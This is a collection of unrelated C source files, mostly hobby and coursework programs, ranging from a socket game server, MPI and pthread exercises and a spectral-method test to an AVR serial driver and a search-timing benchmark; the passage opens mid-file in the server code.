listaP->partidas[idPartida].socket2, idPartida, conn); } } void TerminarPartida(int vida1, int vida2, int socket1, int socket2, int idPartida) { char respuesta1[512]; char respuesta2[512]; if((vida1 == 0) && (vida2 != 0)) { sprintf(respuesta1, "11/%d/p", idPartida); //Perdedor. write(socket1, respuesta1, strlen(respuesta1)); sprintf(respuesta2, "11/%d/g", idPartida); //Ganador. write(socket2, respuesta2, strlen(respuesta2)); } if((vida2 == 0) && (vida1 != 0)) { sprintf(respuesta2, "11/%d/p", idPartida); //Perdedor. write(socket2, respuesta2, strlen(respuesta2)); sprintf(respuesta1, "11/%d/g", idPartida); //Ganador. write(socket1, respuesta1, strlen(respuesta1)); } if((vida2 == 0) && (vida1 == 0)) { sprintf(respuesta1, "11/%d/e", idPartida); //Empate. write(socket1, respuesta1, strlen(respuesta1)); write(socket2, respuesta1, strlen(respuesta1)); } } int main(int argc, char *argv[]) { int sock_conn, sock_listen, ret; struct sockaddr_in serv_adr; char peticion[512]; char respuesta[512]; listaC.num = 0; listaP.num = 0; //INICIAR SOCKET //Abrimos el socket. if ((sock_listen = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("Error creando en el socket.\n"); } //Inicialitza el zero serv_addr. memset(&serv_adr, 0, sizeof(serv_adr)); //Asocia el socket a cualquiera de las IP de la maquina. //htonl formatea el numero que recibe al formato necesario. serv_adr.sin_family = AF_INET; serv_adr.sin_addr.s_addr = htonl(INADDR_ANY); //Escuchamos en el puerto. serv_adr.sin_port = htons(9004); if (bind(sock_listen, (struct sockaddr *) &serv_adr, sizeof(serv_adr)) < 0){ printf ("Error en el bind.\n"); } //La cola de peticiones pendientes no podra ser superior a 4. if (listen(sock_listen, 4) < 0) { printf("Error al escuchar.\n"); } pthread_t thread; int pos_socket = 0; for(;;) { printf("Escuchando...\n"); sock_conn = accept(sock_listen, NULL, NULL); printf("Conexion recibida.\n"); if (listaC.conectados[pos_socket].socket == NULL) { listaC.conectados[pos_socket].socket = sock_conn; //Creamos un thread por cliente y lo atendemos. pthread_create (&thread, NULL, AtenderCliente, &listaC.conectados[pos_socket].socket); pos_socket = pos_socket + 1; } else { printf("Lista de conectados llena.\n"); } } }
C
/* * game.h - header file for game module * * Team Chicken 21W * */ #ifndef __GAME_H #define __GAME_H #include <stdbool.h> #include "./libcs50/hashtable.h" #include "./support/message.h" // struct tracking the status of the game typedef struct game { bool isover; int cols; int rows; addr_t spectatorAddr; bool spectator; int playersJoined; int numPlayersTotal; int MaxPlayers; int TotalGoldLeft; // hashes name -> player object hashtable_t *players; //counters_t goldcounts; int **goldcounts; char* map[]; } game_t; /**************** game_new ****************/ /* Returns a new game struct * Caller provides an array of pointers to chars, number of rows, columns, max players, and total gold. */ game_t *game_new(char *map[], int rows, int cols, int MaxPlayers, int TotalGold); /**************** game_delete ****************/ /* Deletes game struct * Caller provides pointer to the game */ void game_delete(game_t *game); /**************** addSpectator ****************/ /* Initializes the spectator address in the game struct * Caller provides pointer to the game, and the address of spectator */ void addSpectator(game_t *game, addr_t addr); #endif
C
#include <stdarg.h> #include "_doscan.h" static int readchar(arg) void *arg; { return *(*(unsigned char**)arg)++; } static void unchar(c, arg) int c; void *arg; { (*(unsigned char**)arg)--; } int vsscanf(s, fmt, args) char *s; char *fmt; va_list args; { return _doscan(fmt, args, readchar, unchar, &s); } int sscanf(char *s, char *fmt, ...) { int nmatch = 0; va_list args; va_start(args, fmt); nmatch = vsscanf(s, fmt, args); va_end(args); return nmatch; }
C
#include <mpi.h> #include <stdio.h> #include <stdlib.h> #include <time.h> #include <omp.h> // compile: mpicc -fopenmp hybrid_sr.c -o hybrid_sr // run: mpiexec -n 2 ./hybrid_sr int main(int argc, char** argv) { /* Initialize MPI environment */ MPI_Init(NULL, NULL); // Discover world rank and size // rank int rank_of_world; MPI_Comm_rank(MPI_COMM_WORLD, &rank_of_world); // size int size_of_world; MPI_Comm_size(MPI_COMM_WORLD, &size_of_world); /* OMP parallel section segment - each section in the parallel sections section is excecuted in parallel */ #pragma omp parallel sections { #pragma omp section { // If more than 2 processes for this task if (size_of_world < 2) { fprintf(stderr, "World size must be greater than 1 for %s\n", argv[0]); MPI_Abort(MPI_COMM_WORLD, 1); } } #pragma omp section { int number; int a = 1; int b = 2; if (rank_of_world == 0) { // If we are rank 0, set the number to -1 and send it to process 1 number = a + b; int c = 6; number = c * number; int d = 8; number = number / d; MPI_Send(&number, 1, MPI_INT, 1, 0, MPI_COMM_WORLD); } else if (rank_of_world == 1) { MPI_Recv(&number, 1, MPI_INT, 0, 0, MPI_COMM_WORLD, MPI_STATUS_IGNORE); printf("Process 1 received number %d from process 0\n", number); } } #pragma omp section { MPI_Finalize(); clock_t start, end; double cpu_time_used; start = clock(); /* Do the work. */ end = clock(); cpu_time_used = ((double) (end - start)) / CLOCKS_PER_SEC; printf("Time taken was for calculation: %f secs. ", cpu_time_used); } } }
C
/************************************************************** * onebysintheta_dfdphi_test.c: * * Tests dividebysin, dfdphiprime, and fouriertogrid. * * * * Author: Benjamin D. Lackey * **************************************************************/ /* To compile type: gcc -I/opt/local/include -I/Users/lackey/Research/Poisson/ -L/opt/local/lib -lm -lfftw3 -lgsl -lgslcblas -Wall -pedantic -ansi -O2 -W /Users/lackey/Research/Poisson/print.c /Users/lackey/Research/Poisson/coefficients.c /Users/lackey/Research/Poisson/coordinatemap.c /Users/lackey/Research/Poisson/fourierylmconversions.c /Users/lackey/Research/Poisson/matrixoperators.c /Users/lackey/Research/Poisson/remainder.c /Users/lackey/Research/Poisson/remap.c /Users/lackey/Research/Poisson/gradient.c /Users/lackey/Research/Poisson/poisson.h onebysintheta_dfdphi_test.c */ /* c headers */ #include <stdio.h> #include <stdlib.h> #include <math.h> #include <time.h> /* gsl headers */ #include <gsl/gsl_matrix.h> #include <gsl/gsl_blas.h> #include <gsl/gsl_linalg.h> #include <gsl/gsl_sf_legendre.h> /* fftw header */ #include <fftw3.h> /* own header */ #include "poisson.h" double field(int z, double xi, double theta, double phi); double onebysintheta_dfdphi(int z, double xi, double theta, double phi); int main (void) { int z, i, j, k; int nz = 3; int nr = 5; /* must be odd? */ int nt; int np = 10; /* must be even */ double xi_i, theta_j, phi_k; scalar3d *field_scalar3d; coeff *field_coeff; coeff *dfdphi_coeff; coeff *onebysintheta_dfdphi_coeff; scalar3d *onebysintheta_dfdphi_scalar3d; double num, anal, error; nt = np/2 + 1; field_scalar3d = scalar3d_alloc(nz, nr, nt, np); field_coeff = coeff_alloc(nz, nr, nt, np); dfdphi_coeff = coeff_alloc(nz, nr, nt, np); onebysintheta_dfdphi_coeff = coeff_alloc(nz, nr, nt, np); onebysintheta_dfdphi_scalar3d = scalar3d_alloc(nz, nr, nt, np); /* evaluate field at gridpoints */ functiontogrid_xi(field_scalar3d, field); /* determine coefficients of f */ gridtofourier(field_coeff, field_scalar3d, 0, 0); printf("Original coefficients:\n"); print_coeff(field_coeff); /* calculate df/dphi' */ dfdphiprime(dfdphi_coeff, field_coeff); /* divide by sin(theta) */ dividebysin(onebysintheta_dfdphi_coeff, dfdphi_coeff); printf("Coefficients after using 1/sin(theta) * df/dphi' operator:\n"); print_coeff(onebysintheta_dfdphi_coeff); /* go back to gridpoints */ fouriertogrid(onebysintheta_dfdphi_scalar3d, onebysintheta_dfdphi_coeff, 1, 1); /* compare numerical to analytic values of 1/sin(theta) * df/dphi' */ for ( z = 0; z < nz; z++ ) { for ( i = 0; i < nr; i++ ) { for ( j = 0; j < nt; j++ ) { for ( k = 0; k < np; k++ ) { xi_i = ((z==0) ? sin(PI*i/(2.0*(nr-1))) : -cos(PI*i/(nr-1))); theta_j = PI*j/(nt-1); phi_k = 2*PI*k/np; num = scalar3d_get(onebysintheta_dfdphi_scalar3d, z, i, j, k); anal = onebysintheta_dfdphi(z, xi_i, theta_j, phi_k); error = (num - anal)/(anal); printf("z=%d, i=%d, j=%d, k=%d, xi_i=%.18e, t_j=%.18e, p_k=%.18e, %.18e, %.18e, %.18e\n", z, i, j, k, xi_i, theta_j, phi_k, num, anal, error); } } } } scalar3d_free(field_scalar3d); coeff_free(field_coeff); coeff_free(dfdphi_coeff); coeff_free(onebysintheta_dfdphi_coeff); scalar3d_free(onebysintheta_dfdphi_scalar3d); return 0; } double field(int z, double xi, double theta, double phi) { /*return xi*sin(theta)*(cos(phi) + sin(phi));*/ /* return (cos(2.0*phi) + sin(2.0*phi)) */ /* *(15.0/16.0)*(3.0 + 4.0*cos(2.0*theta) - 7.0*cos(4.0*theta)) /\* P^4_2(cos(theta)) *\/ */ /* *xi*xi*xi*xi; */ return (cos(3.0*phi) + sin(3.0*phi)) *(-105.0/8.0)*(2.0*sin(2.0*theta) - sin(4.0*theta)) /* P^4_3(cos(theta)) */ *xi; } double onebysintheta_dfdphi(int z, double xi, double theta, double phi) { /*return xi*(-sin(phi) + cos(phi));*/ /* return (-2.0*sin(2.0*phi) + 2.0*cos(2.0*phi)) */ /* *(15.0/8.0)*(3.0*sin(theta) + 7.0*sin(3.0*theta)) /\* P^4_2(cos(theta)) / sin(theta) *\/ */ /* *xi; */ return (-3.0*sin(3.0*phi) + 3.0*cos(3.0*phi)) *(-105.0/4.0)*(cos(theta) - cos(3.0*theta)) /* P^4_3(cos(theta)) / sin(theta) */ *xi; }
C
// Greedy 풀이 : 가능한 것 중 가장 큰 숫자를 선택 #include <stdio.h> int main(void) { int n, k; int q[100]; int c_num[100]; scanf("%d %d", &n, &k); for (int i = 0; i < n; i++) { scanf("%d", &q[i]); } int i, part = 0, index = 0, l_num; while (index != n) { index = 0; l_num = 0; for (i = 0; i < n; i++) { if(l_num < q[i]) { l_num = q[i]; q[i] = 0; } if (q[i] == 0) { index++; } } part++; } if (part <= k) printf("YES"); else printf("NO"); return 0; }
C
/* ** my_putstr.c for my_putstr in /home/pain_f/rendu/Piscine_C_J04 ** ** Made by francois pain ** Login <[email protected]> ** ** Started on Thu Mar 5 21:37:15 2015 francois pain ** Last update Fri Mar 27 09:20:47 2015 francois pain */ int my_putstr(char *str) { while (*str != '\0') { my_putchar(*str); str = str + 1; } return (0); }
C
#include<stdio.h> struct st { char dname[10]; char sdname[10][10]; char fname[10][10][10]; int ds,sds; } dir[10]; void main() { int i,j,k,n; printf("enter number of directories:"); scanf("%d",&n); for(i=0;i<n;i++) { printf("enter directory %d name:",i); scanf("%s",&dir[i].dname); printf("enter size of directory: "); scanf("%d",&dir[i].ds); for(j=0;j<dir[i].ds;j++) { printf("enter file name: "); scanf("%s",&dir[i].fname[j]); } } printf("\n DIR_NAME\tSIZE\tFILES\n"); for(i=0;i<n;i++) { printf("%s\t\t%d\t",dir[i].dname,dir[i].ds); for(j=0;j<dir[i].ds;j++) { printf("%s",dir[i].fname[j]); printf("\t"); } printf("\n"); } }
C
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <sys/mman.h> #include <string.h> #include <pthread.h> /* * Provided modular exponentiation function. */ //each cell in locked array will have value and lock typedef struct Data { pthread_mutex_t lock1; int cell; } Data; typedef struct sendToThread { char* fd; int startIndex; int endIndex; Data* D; } sendThread; //create array of locked cells long modPow(long base,long exp,long m) { if (m == 1) return 0; long c = 1; for (long ep=0;ep <= exp - 1;ep++) c = (c * base) % m; return c; } long modPowNew(long base, long exp, long m) { long c = 1; //base case --> no modulus if(m == 1){ return 0; } //keep shifting down until its no longer >0 while(exp > 0) { //if exponent is odd --> mod the base* current result to get new remainder if(exp % 2 == 1){ c = (c*base) % m; } //divide exponent by 2 then increment base by exp >>= 1; //square the base and mod it base = (base*base) % m; } //return modPow result return c; } void* usingThreads(void* sending){ sendThread* st2 = (sendThread*)sending; char* tArray = st2->fd; //start to end of sendThread list for(int j = st2->startIndex; j < st2->endIndex; j++){ //make soln the result of modpow long soln = modPowNew(tArray[j], tArray[j+1], 256); //lock spot in array at this soln value pthread_mutex_t* lock2 = &st2->D[soln].lock1 ; pthread_mutex_lock(lock2); //change from 0 to 1 st2->D[soln].cell++; pthread_mutex_unlock(lock2); } free(st2); } int main(int argc,char* argv[]) { int nbT = atoi(argv[2]); struct stat fs; char* fName = argv[1]; stat(fName,&fs); size_t sz = fs.st_size; //file array put into as ints //pthread_mutex_init(fName); int fd = open(argv[1], O_RDWR); //load file --> lab8? size_t sizeOfMap = sz * sizeof(char); sizeOfMap = (sizeOfMap / 4096) + 1; sizeOfMap *= 4096; char* newPtr = mmap(NULL, sizeOfMap, PROT_READ|PROT_WRITE, MAP_SHARED | MAP_FILE, fd, 0); if (newPtr == MAP_FAILED) { printf("mmap failure: %s\n",strerror(errno)); exit(1); } close(fd); //Data lockedArray[256]; //allocate space for locking array to be sz * size of ints //making array w struct to hold locked values Data* lockingArray = malloc(sizeof(Data) * 256); for(int i=0; i<256; i++){ //init lock for cell in array from 0 to 255 pthread_mutex_init(&lockingArray[i].lock1, NULL); lockingArray[i].cell = 0; } //array of threads pthread_t threads[nbT]; for(int i= 0; i < nbT-1; i++){ //allocate space sendThread* st = malloc(sizeof(sendThread)); //set char* to newPtr memmap st->fd = newPtr; //set locking array to be data struct //set start and end for all but last thread st->D = lockingArray; //split up threads work depending on # of threads st->startIndex = i *(sz / nbT); st->endIndex = st->startIndex + (sz/nbT) ; //create threads pthread_create(&threads[i], NULL, usingThreads, (void*)st); } //for last thread sendThread* st = malloc(sizeof(sendThread)); //same as in for loop st->fd = newPtr; st->D = lockingArray; //last thread starting point st->startIndex = (nbT-1) *(sz / nbT); //to end of file st->endIndex = sz - 1; pthread_create(&threads[nbT-1], NULL, usingThreads, (void*)st); //join for(int j =0; j< nbT; j++){ pthread_join(threads[j], NULL); } //print histogram for(int j = 0; j < 256; j++){ printf("%i ", lockingArray[j].cell); } printf("\n"); //fine grain lock int list //pthread_mutex_unlock(fName); //load file into mem w mmap //may need to make a strruct and then put this ina function /* want each thread to deal with 1 calc of modPow */ /* fName = fopen(fName, "r"); char *numArray; numArray = malloc(sizeof(int) * sz); for(int i = 0; i< sz; i++) { fscanf(fName, atoi("%c"), &numArray[i]); } */ //create array of threads //pthread_t *threads_array; //malloc enough space for all threads needed //threads_array = malloc(sizeof(pthread_t)* nbT); //have each thread do diff modPow calc //for(int i = 0; i< nbT; i++){ //} //create array to hold modPow values /* char* modArray; modArray = malloc(sizeof(int) * sz); for(int j = 0; j < sizeof(numArray)/sizeof(int); j++){ modArray[j] = modPow(numArray[j], numArray[j+1], 256); } free(numArray); free(modArray); free(threads_array); */ //for(int g =0; g<nbT; g++){ // pthread_create(&threads_array[i], NULL, modPow, & ); // } //for (i = 0; i < nbw; i++) { // pthread_join(threads_array[i], NULL); // } /* sz holds the size of the file in bytes */ return 0; }
C
#include <stdio.h> int main(void) { int hang, x, y, i, j, k; char letter, space,a; space =' '; printf("请输入一个大写字母:"); scanf("%c", &letter); x = letter - 64; for (hang = 0; hang < x; hang++) { for (y = 0; y<=x-hang; y++) //空格数 { putchar(space); } a = 'A'; //每次循环从A开始 for (i = 0; i <= hang; i++) //升序打印 { printf("%C", a); a++; } k =letter+ hang - x; //降序打印 for (j = hang; j >0; j--) { printf("%c", k); k--; } printf("\n"); } getchar(); getchar(); return 0; } /* #include <stdio.h> int main(void) { int x, y; char ch; printf("请输入一个大写字母:"); scanf("%c", &ch); for (x = 0; x < ch - 'A'+1; x++) { for (y = 0; y < ch - 'A' + 1-x; y++) { printf(" "); } for (y = 65; y <= 'A' + x; y++) { printf("%c", y); } for (y = 'A' + x-1; y >='A'; y--) printf("%c", y); printf("\n"); } getchar(); getchar(); return 0; } */
C
/* Author: Dheeraj Dake * Date: 10/31/16 * Description: Given an MxN array, it prints an MxN array with the neighbouring element count for * each element of the array * For example, if the user input MxN array is * 1 1 2 * 1 1 1 * 2 2 1 * then the array returned is * 3 4 0 * 3 5 3 * 1 1 2 * * User inputs M,N and the elements of the array */ #include<stdio.h> #include<stdlib.h> int rows, columns; int **createMatrix(int rows, int columns); //creates a matrix with given rows and columns int **paddedMatrix(int **matrix, int rows, int columns); //creates a padded matrix with 0's around the matrix void fillMatrix(int **matrix); //fills the matrix with user elements void printMatrix(int **matrix, int rows, int columns); //prints the matrix int **countElements(int **padded_matrix, int **matrix); //counts the neighbouring element and replaces the count for //each element in the original matrix int main() { setbuf(stdout, NULL); printf("Counting nearest neighbours of an array\n"); printf("Enter M and N for size of array MxN: "); //Input the rows and columns scanf("%d %d", &rows, &columns); //Create a matrix of the given dimensions int **matrix = createMatrix(rows, columns); //Fill the matrix printf("Enter the elements of the matrix[>0]: "); fillMatrix(matrix); printMatrix(matrix, rows, columns); //Create a zero padding around the matrix printf("Matrix after padding it: \n"); int **padded_matrix = paddedMatrix(matrix, rows + 2, columns + 2); printMatrix(padded_matrix, rows + 2, columns + 2); //Count the neighbouring elements and replace them in the final matrix printf("Final matrix after counting neighbours: \n"); int **final_matrix = countElements(padded_matrix, matrix); printMatrix(final_matrix, rows, columns); //Free memory int f; for(f=0; f<rows; f++) { free(matrix[f]); free(padded_matrix[f]); free(final_matrix[f]); } free(matrix); free(padded_matrix); free(final_matrix); return 0; } int **createMatrix(int rows, int columns) { int **matrix = (int **) calloc(rows, sizeof(int *)); //create rows int a; for (a = 0; a < columns; a++) { matrix[a] = (int *) calloc(columns, sizeof(int)); } return matrix; } void printMatrix(int **matrix, int rows, int columns) { int r, c; for (r = 0; r < rows; r++) { for (c = 0; c < columns; c++) { printf("%d ", matrix[r][c]); } printf("\n"); } } void fillMatrix(int **matrix) { int r, c; for (r = 0; r < rows; r++) { for (c = 0; c < columns; c++) { scanf("%d ", &matrix[r][c]); } } printf("Filled up\n"); } int **paddedMatrix(int **matrix, int rows, int columns) { int **_matrix = (int **) calloc(rows, sizeof(int *)); //create rows int a; for (a = 0; a < columns; a++) { _matrix[a] = (int *) calloc(columns, sizeof(int)); } //Place the user matrix into the zero matrix int r, c; for (r = 0; r < rows - 2; r++) { for (c = 0; c < columns - 2; c++) { _matrix[r + 1][c + 1] = matrix[r][c]; } } return _matrix; } int **countElements(int **padded_matrix, int **matrix) { int r, c, count; for (r = 0; r < rows; r++) { for (c = 0; c < columns; c++) { count = 0; int r1, c1; for (r1 = 0; r1 < 3; r1++) { for (c1 = 0; c1 < 3; c1++) { if ((r1 == 1) && (c1 == 1)) { } else if (padded_matrix[r + r1][c + c1] == padded_matrix[r + 1][c + 1]) { count++; } } } matrix[r][c] = count; } } return matrix; }
C
// Serial port driver // SERIAL_TX_SIZE and SERIAL_RX_SIZE define the size of ram buffer allocated // for the corresponding function, 0 (or undefined) disables buffering entirely #define SERIAL_TX_SIZE 60 // transmit buffer size, must be 0 to 255 #define SERIAL_RX_SIZE 4 // receive buffer size, must be 0 to 255 // If defined, enable printf() #define SERIAL_STDIO 1 #ifdef THREAD // a transmit semaphore, counts the space in the transmit buffer static semaphore txsem=available(SERIAL_TX_SIZE); #endif #if SERIAL_TX_SIZE static volatile uint8_t txq[SERIAL_TX_SIZE]; // transmit queue static volatile uint8_t txo=0, txn=0; // index of oldest char and total chars in queue ISR(USART_UDRE_vect) // holding register empty { if (txn) // something to send? { UDR0=txq[txo]; // do so txo = (txo+1)%SERIAL_TX_SIZE; // advance to next txn--; #ifdef THREAD release(&txsem); // release suspended writer #endif } else UCSR0B &= (uint8_t)~(1<<UDRIE0); // else disable interrupt } // Block until space in the transmit queue, then send it void write_serial(int8_t c) { #ifdef THREAD suspend(&txsem); // suspend while queue is full #else while (txn == SERIAL_TX_SIZE); // spin while queue is full #endif uint8_t sreg=SREG; cli(); txq[(txo + txn)%SERIAL_TX_SIZE] = (uint8_t)c; // add character to end of queue txn++; // note another UCSR0B |= (1<<UDRIE0); // enable interrupt if not already SREG=sreg; } // Return true if chars can be written without blocking bool writeable_serial(void) { #ifdef THREAD return is_released(&txsem); #else return SERIAL_TX_SIZE-txn; #endif } #ifdef SERIAL_STDIO static int put(char c, FILE *f) { (void) f; if (!UCSR0B) return EOF; if (c == '\n') write_serial('\r'); // \n -> \r\n write_serial(c); return 0; } #endif #endif #if SERIAL_RX_SIZE static volatile uint8_t rxq[SERIAL_RX_SIZE]; // receive queue static volatile uint8_t rxo=0, rxn=0; // index of oldest char and total chars in queue #ifdef THREAD static semaphore rxsem; #endif ISR(USART_RX_vect) { bool err = UCSR0A & 0x1c; // framing, overrun, parity error? char c = UDR0; // get the char, reset the interrupt if (err) return; // but ignore error if (rxn == SERIAL_RX_SIZE) return; // or receive queue overflow rxq[(rxo + rxn) % SERIAL_RX_SIZE] = c; // insert into queue rxn++; // note another #ifdef THREAD release(&rxsem); // release suspended reader #endif } // Block until character is receive queue then return it int8_t read_serial(void) { #ifdef THREAD suspend(&rxsem); #else while (!rxn); // spin whle queue is empty #endif uint8_t sreg=SREG; cli(); uint8_t c = rxq[rxo]; // get the oldest character rxo=(rxo+1)%SERIAL_RX_SIZE; // advance to next rxn--; SREG=sreg;; return c; } // Return true if characters can be read without blocking bool readable_serial(void) { #ifdef THREAD return is_released(&rxsem); #else return rxn; #endif } #ifdef SERIAL_STDIO static int get(FILE *f) { (void) f; int c = (int)((unsigned)read_serial()); return (c=='\r') ? '\n' : c; // \r -> \n } #endif #endif #ifdef SERIAL_STDIO // Static file handle for printf, etc. Note do NOT fclose this handle. static FILE handle; #endif // Init the serial port for 115200 baud, N-8-1 void init_serial(void) { #if MHZ == 16 UBRR0 = 16; // X2 divisor UCSR0A = 2; // set UX20 #elif MHZ == 8 UBRR0 = 8; // X2 divisor UCSR0A = 2; // set UX20 #else #error MHZ not supported #endif #if SERIAL_TX_SIZE #ifdef SERIAL_STDIO handle.put = put; handle.flags = _FDEV_SETUP_WRITE; #endif UCSR0C = 0x06; // N-8-1 UCSR0B |= 0x08; // transmit pin enable #endif #if SERIAL_RX_SIZE #ifdef SERIAL_STDIO handle.get = get; handle.flags |= _FDEV_SETUP_READ; #endif UCSR0B |= 0x90; // receive interrupt enable, receive pin enable #endif #ifdef SERIAL_STDIO stdin=stdout=&handle; // use handle for stdin and stdout #endif } // return pressed key or -1 if none int key_press(void) { if (!readable_serial()) return -1; return getchar(); }
C
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #include <time.h> #include <string.h> /* Função auxiliar para ser utilizada no qsort * Retorna -1 caso o primeiro elemento seja menor que o segundo * Retorna 0 caso sejam iguais * Retorna 1 caso o segundo elemento seja maior que o primeiro */ int compare ( const void * a, const void * b ) { return ( *(int *) a - *(int *) b ); } /* Função de complexidade O(N) para contar o número de repetições de certo elemento no vetor fornecido */ int conta_n ( int *vetor, int tamanho, int elemento ) { int i, repeticoes = 0; for (i = 0; i < tamanho; i++) if ( vetor[i] == elemento ) repeticoes++; return repeticoes; } /* Função de complexidade O(Log(N)) para contar o número de repetições de certo elemento no vetor fornecido */ int conta_logn ( int *vetor, int esquerda, int direita, int elemento ) { int meio, aux; int primeiraMetade = 0, segundaMetade = 0; if ( vetor[esquerda] == elemento && vetor[direita] == elemento ) return ( direita - esquerda ) + 1; if ( esquerda == direita ) return 0; else { meio = ( esquerda + direita ) / 2; if ( vetor[meio] >= elemento ) primeiraMetade = conta_logn ( vetor, esquerda, meio, elemento ); if ( vetor[meio + 1] <= elemento ) segundaMetade = conta_logn ( vetor, meio + 1, direita, elemento ); return primeiraMetade + segundaMetade; } } /* Função para calcular o tempo de execução de determinadas rotinas */ double getUnixTime(void) { struct timespec tv; if(clock_gettime(CLOCK_REALTIME, &tv) != 0) { return 0; } return (((double) tv.tv_sec) + (double) (tv.tv_nsec / 1000000000.0)); } int main ( int argc, char *argv[] ) { /* Variável para guardar o tamanho do vetor */ unsigned int tamanho; /* Ponteiro para o vetor de inteiros */ int *vetor; /* Variável para armazenar o elemento a ser buscado */ const int elemento = atoi(argv[1]); /* Ponteiro para o arquivo que guardara os dados gerados */ FILE *pfile; pfile = fopen ("dados_gerados_com_modelos.txt", "w"); /* Ponteiro para os arquivos com os modelos de vetores */ FILE *pimput; /* String auxiliar */ char tam[20]; double tN, tLOGN; int repeticoesN, repeticoesLOGN; double start_time, stop_time; int j, lixo; int iteracoes = 0; //Variavel para determinar se o tamanho sera multiplicado por 2 ou 5 tamanho = 10; while ( tamanho <= 500000000 ) { char nome[100] = "./Dados/dados_"; sprintf ( tam, "%d", tamanho ); strcat ( nome, tam ); strcat ( nome, ".txt" ); printf ("%s a processar\n", nome); pimput = fopen ( nome, "r" ); fprintf (pfile, "%d ", tamanho); vetor = (int *) malloc ( tamanho * sizeof (int) ); /* Cópia dos elementos do vetor fornecido pelo arquivo para o vetor alocado */ fscanf (pimput, "%d", &lixo ); int i; for (i = 0; i < tamanho; i++) { fscanf (pimput, "%u", &vetor[i]); } /* Ordenação do vetor */ qsort (vetor, tamanho, sizeof(int), compare); /* Execução da função de complexidade N e registro do seu tempo */ start_time = getUnixTime(); repeticoesN = conta_n (vetor, tamanho, elemento); stop_time = getUnixTime(); tN = stop_time - start_time; /* Execução da função de complexidade LOG N e registro do seu tempo */ start_time = getUnixTime(); repeticoesLOGN = conta_logn (vetor, 0, tamanho -1, elemento); stop_time = getUnixTime(); tLOGN = stop_time - start_time; if ( repeticoesN != repeticoesLOGN ) { printf ("RELSULTADOS DISTINTOS PARA AS DUAS FUNCOES\n"); tamanho = 2000000000; j = 2; //continue; } /* Saída dos dados */ fprintf (pfile, "%.10lf ", tN ); fprintf (pfile, "%.10lf\n", tLOGN ); free (vetor); fclose (pimput); if ( tamanho < 100000000 ) { if ( iteracoes % 2 == 0 ) //iteracoes par tamanho *= 5; else tamanho *= 2; } else /* ( tamanho > 100000000 ) Regiao que devera ser mais preenchida no grafico, sendo necessario um numero maior de pontos */ tamanho += 50000000; iteracoes++; } printf ("Arquivos processados!!\n"); fclose (pfile); return 0; }